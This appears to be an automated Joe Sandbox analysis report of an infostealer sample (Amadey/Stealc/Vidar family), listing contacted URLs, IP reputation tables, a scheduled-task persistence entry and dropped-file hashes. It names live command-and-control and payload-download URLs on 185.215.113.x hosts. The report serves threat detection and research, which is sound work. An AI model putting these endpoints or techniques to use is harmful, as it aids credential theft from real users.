https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://www.messenger.com	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://i.y.qq.com/n2/m/index.html	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://www.deezer.com/	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
http://185.215.113.16/mine/random.exek9	file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206lfons	file.exe, 00000000.00000002.2526195665.0000000000335000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org/	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2556613185.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.php%	file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-4.corp.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.php&	file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://vibe.naver.com/today	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp, BGHCGCAE.0.dr, Web Data.8.dr, DBAEGCGC.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php3	file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	DBAEGCGC.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.8.dr	false		high
https://excel.new?from=EdgeM365Shoreline	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JKKECBGIIIEBGCBGIDHDGCAKJE.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.16/steam/random.exe710001	skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/68b591d6548ec281/freebl3.dlln	file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_474.4.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.9.dr	false		high
http://185.215.113.16/steam/random.exeencoded	skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.php?	file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/chrome	content_new.js.8.dr, content.js.8.dr	false		high
https://www.tiktok.com/	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.8.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	JKKECBGIIIEBGCBGIDHDGCAKJE.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllY	file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	false		high
http://185.215.113.16/steam/random.exeAC	skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://chromewebstore.google.com/	manifest.json.8.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.8.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	false		high
https://msn.comXIDv10	Cookies.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://chrome.google.com/webstore/	manifest.json.8.dr	false		high
https://y.music.163.com/m/	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://bard.google.com/	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.16/steam/random.exe1395d7	skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://web.whatsapp.com	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
http://185.215.113.16/steam/random.exe~	skotes.exe, 00000018.00000002.3324664657.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://m.kugou.com/	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://www.office.com	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://outlook.live.com/mail/0/	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpg	file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phph	file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BFBAAFHDHCBGCAKFHDAK.0.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr, 000003.log9.8.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
3.170.115.68	unknown	United States	16509	AMAZON-02US	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
23.198.7.180	unknown	United States	20940	AKAMAI-ASN1EU	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.47.50.150	unknown	United States	16625	AKAMAI-ASUS	false
23.198.7.168	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.184.206	plus.l.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.22.207	unknown	United States	20940	AKAMAI-ASN1EU	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
20.99.186.246	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.18.1	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.198.7.178	unknown	United States	20940	AKAMAI-ASN1EU	false
52.168.117.168	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554209
Start date and time:	2024-11-12 08:29:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@73/300@24/25
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.67, 142.250.186.142, 74.125.206.84, 34.104.35.123, 142.250.186.35, 142.250.184.202, 142.250.186.74, 142.250.185.202, 216.58.206.42, 142.250.186.42, 172.217.16.202, 172.217.23.106, 142.250.185.138, 172.217.18.10, 216.58.206.74, 142.250.185.170, 142.250.185.74, 142.250.185.106, 142.250.184.234, 142.250.186.106, 142.250.186.138, 2.22.50.144, 192.229.221.95, 142.250.185.234, 142.250.181.234, 142.250.74.202, 142.250.186.170, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.186.78, 13.107.6.158, 2.16.164.104, 2.16.164.83, 20.93.72.182, 2.18.64.203, 2.18.64.218, 2.23.209.130, 2.23.209.189, 2.23.209.187, 2.23.209.133, 2.23.209.191, 2.23.209.135, 2.23.209.192, 2.23.209.186, 2.23.209.188, 2.23.209.148, 2.23.209.166, 2.23.209.154, 2.23.209.158, 2.23.209.149, 2.23.209.160, 2.23.209.162, 2.23.209.156, 2.23.209.150, 13.74.129.1, 204.79.197.237, 13.107.21.237, 23.38.98.118, 23.38.98.107, 23.38.98.113, 23.38.98.112, 23.38.98.116, 23.38.98.111, 23.38.98.
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, prod-agic-wu-2.westus.cloudapp.azure.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, confi
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:30:35	API Interceptor	84x Sleep call for process: file.exe modified
02:32:01	API Interceptor	78x Sleep call for process: skotes.exe modified
08:30:51	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
3.170.115.68	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
3.170.115.68	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Setup.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	Purchase order.exe	Get hash	malicious	AgentTesla	Browse	104.208.16.94
	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	20.2.208.137
	View Pdf Doc_8a3c334133bfb9605fc344b2f764ac62.htm	Get hash	malicious	Unknown	Browse	40.101.137.2
	https://login.ocsgroup.com.mx/global/employee?user_id=DoFjJTOXrEySD0w_AN5X5CnN_jKgmQ-62fmUaqLwe1mjA5n_sht8bM4gHHi97AmLcwpN7hYmIxQBjkE9CyfZa5CdVasJGlMIE2D58io	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	https://protect-us.mimecast.com/s/18vfCQWNWqS1V8BlCPhEHGoqRR	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	amen.arm6.elf	Get hash	malicious	Mirai	Browse	52.237.139.198
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
AMAZON-02US	6DfHIXhWXp.lnk	Get hash	malicious	Unknown	Browse	18.167.86.53
	YIU6wlOgnJ.lnk	Get hash	malicious	Unknown	Browse	18.167.86.53
	VQSLdElLF9.lnk	Get hash	malicious	Unknown	Browse	18.167.86.53
	whf6kh4bok.lnk	Get hash	malicious	Unknown	Browse	18.167.86.53
	HJqOAHpihM.lnk	Get hash	malicious	Unknown	Browse	18.167.86.53
	56aaf3ajyE.lnk	Get hash	malicious	Unknown	Browse	18.167.86.53
	FBbyWUmAJY.lnk	Get hash	malicious	Unknown	Browse	18.167.86.53
	Selected_Items.vbs	Get hash	malicious	FormBook	Browse	185.166.143.50
	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	18.245.60.53
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
EDGECASTUS	View Pdf Doc_8a3c334133bfb9605fc344b2f764ac62.htm	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://login.ocsgroup.com.mx/global/employee?user_id=DoFjJTOXrEySD0w_AN5X5CnN_jKgmQ-62fmUaqLwe1mjA5n_sht8bM4gHHi97AmLcwpN7hYmIxQBjkE9CyfZa5CdVasJGlMIE2D58io	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	152.195.19.97
	https://gerneva.com	Get hash	malicious	Unknown	Browse	192.229.221.25
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	152.195.19.97
	Invoice #16468.docx	Get hash	malicious	Unknown	Browse	152.199.19.160
	https://vinculocomputer.com/run/	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://www.hopp.bio/hawksridgefarms	Get hash	malicious	Mamba2FA	Browse	152.199.21.175
	https://fnv.morsentutra.ru/DD8Q/	Get hash	malicious	Unknown	Browse	152.199.19.160
	https://klick.publikator.se/?BREV_ID=592&EPOST=kent.isaksson@platspecialisten.se&URL=https://link.mail.tailwindapp.com/c/443/65791c056ee100f6e0b1ce0da6ffd5aaa4304af6d9041064814b00b317faceea	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	View Pdf Doc_8a3c334133bfb9605fc344b2f764ac62.htm	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.1.237.91
	Setup.exe	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://vinculocomputer.com/run/	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fthedailyparanoia%2Ecom%2F	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	https://fvggtrgtr57crthrvtrhrh.s3.us-east-2.amazonaws.com/u7yy78ty7t6fg67t676t/hg7g6g6gfvj5rfj/index.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	test.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	test.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	test.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	Sampension-file-846845087.pdf	Get hash	malicious	Captcha Phish	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	https://schoolbook.website/1/query-apiap-southeast-1amazonaws.html?email=toto@yahoo.fr	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 20.190.159.23 13.107.246.45
	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	20.109.210.53 184.28.90.27 20.190.159.23 13.107.246.45
	View Pdf Doc_8a3c334133bfb9605fc344b2f764ac62.htm	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 20.190.159.23 13.107.246.45
	https://login.ocsgroup.com.mx/global/employee?user_id=DoFjJTOXrEySD0w_AN5X5CnN_jKgmQ-62fmUaqLwe1mjA5n_sht8bM4gHHi97AmLcwpN7hYmIxQBjkE9CyfZa5CdVasJGlMIE2D58io	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 184.28.90.27 20.190.159.23 13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 20.190.159.23 13.107.246.45
	https://secure_sharing0documentpreview.wesendit.com/dl/UXseZ6Oj8WT8cWxHq/bXVoYW1hZC5hZGkubXVxcmlAc2ltZWRhcmJ5LmNvbQ	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 20.190.159.23 13.107.246.45
	file.exe	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 20.190.159.23 13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 20.190.159.23 13.107.246.45
	https://sv-management.solarflevoland.nl/wix	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 20.190.159.23 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 20.190.159.23 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFBAFBKEGCFBGCBFIDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFBAAFHDHCBGCAKFHDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
